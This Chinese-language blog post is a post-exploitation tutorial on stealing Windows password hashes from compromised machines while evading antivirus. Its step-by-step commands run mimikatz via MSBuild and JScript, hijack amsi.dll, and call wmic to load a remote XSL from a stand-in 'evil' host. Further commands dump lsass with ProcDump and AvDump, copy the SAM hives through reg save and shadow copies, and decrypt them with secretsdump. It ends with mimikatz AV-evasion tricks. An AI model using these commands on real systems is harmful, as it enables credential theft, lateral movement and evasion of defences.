抓取 HASH 的 10001 种方法

地球胖头鱼 2021-01-09
Web安全 发布于 2021-01-09 10:10:15 阅读 125 评论 0

前言

在我们内网拿下机器时候,总会需要去抓取机器账户 HASH 值,但是往往大部分情况下机器存在杀软,有杀软的情况下服务器第一时间就干掉了最爱的 mimikatz。

我们需要更多的方法去抓取 HASH,常见的方法就不再详细举例了。

Net4.0 执行读取

下载 xml 文件

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

进入 Net4.0 目录,执行即可。

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe 1.xml

JS 加载

cscript mimikatz.js

它已经能被一些敏感的 AV 识别,我们可以对其进行 bypass,通过 DLL 劫持绕过。发现在 ProcessMonitor 可以看到进程调用 C:\Windows\System32\amsi.dll

我们直接对其 DLL 劫持即可。

copy c:\windows\system32\cscript amsi.dll
asmi.dll 11.js

如何生成 mimikatz 的 js 版本,可以参考看下面的介绍。

https://gist.github.com/pljoel/42dae5e56a8...

这里用 csc 生成了 base64 加密的版本,再用使用 javascript 启动内存中的 mimikatz。

wmic 调用

本地:wmic process list /FORMAT:evil.xsl

远程:
wmic os get /FORMAT:"https://example.com/evil.xsl"

Internal Monologue Attack

https://github.com/eladshamir/Internal-Mon...

介绍:通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。

这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。

关于降级 NTLM 攻击可以看看这里

https://www.optiv.com/explore-optiv-insigh...

.\InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -Challenge 1122334455667788

成功出现当前的账户 HASH 值。

图片

Bypass

部分杀软很变态能够将这些杀死,我们可以用几个方法将其绕过,转储 LASS,读取系统文件,制作新的 Bypassmimikazi 等等。

Procdump

官方介绍:ProcDump 是一个命令行实用程序,其主要目的是监视应用程序中的 CPU 尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump 还包括挂起的窗口监视,未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序。

大家都熟知的 Procdump,由于它是微软官方的签名,所以我们能通过它 bypass 某些不怎么样的杀软来 dump 出 lass 存储的密码。

执行如下命令

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

图片

在本机的上面跑 mimikazi 进行密码的成功查看

Avdump

Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。

它自带 Avast 杀软公司白签名。

我们直接运行即可。

.\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:\tmp\last.dmp

图片

在本机的上面跑 mimikazi 进行密码的成功查看。

SAM 解密

像一些变态的 EDR,会禁用 Procdump、Minidump 等⽅式转储 lsass 进程,我们可以换一种方法。

SAM 它是安全帐户管理器。⽤于存储⽤户和 hash,可以⽤来验证本地和远程⽤户。

要解密 hash,我们需要获取到 SAM SYSTEM SECURITY 这三个⽂件。只要有这3个文件我们就能进行读取。

注册表复值

REG SAVE 将指定的子项、项和注册表值的副本保存到指定文件中,直接保存就完事了。

reg save hklm\system SYSTEM
reg save hklm\sam SAM
reg save hklm\security SECURITY

卷影复制

通过拷⻉卷影副本卷中的⽂件来读取 3 个文件

先创建 c 盘的 shadowscopy

wmic shadowcopy call create volume='c:\'

图片

列出 shadows 的 list,从中并选择卷影副本卷,再复制我们需要的三个文件。

vssadmin list shadows
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\sam.
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\security.
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\system.

解密恢复 HASH

通过上面几种方法拿到 3 个文件后,我们用 impacket-secretsdump 来进行解密。

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

用得到的 HASH 直接去解密即可。

mimikatz 免杀

除此之外我们还可以对 MIMIKAZi 进行免杀的处理。

一般的方法是删除代码层 MIMIKATZ 特征,默认资源,如 ICO 图标,替换 bin 包内容。

混淆编译完程序(加壳),克隆签名等等。

替换删除敏感词/修改图标 ico

修改 rc 特征。

图片

利用Hex找出一些敏感 DLL,函数如 wdigest.dll,isbase64interceptinput 等等进行替换

图片

替换敏感的 bin 文件中方法指定成系统自带的 dll 方法

netapi32

系统中 netapi32.dll 文件

图片

创建 bin 文件并将其方法指定成系统的 function。

最后使用 themdia 加壳后再运行。

图片

成功运行无报警。

图片

总结

随着 AV 查杀,态势行为特征扫描的发展,利用的难度也越来越大,我们也需要不断提高自身的姿势水平,学习更好的方法来进行红蓝对抗。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章174
  • 作者收获粉丝6
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量2.8 万(每日更新)
查看所有博文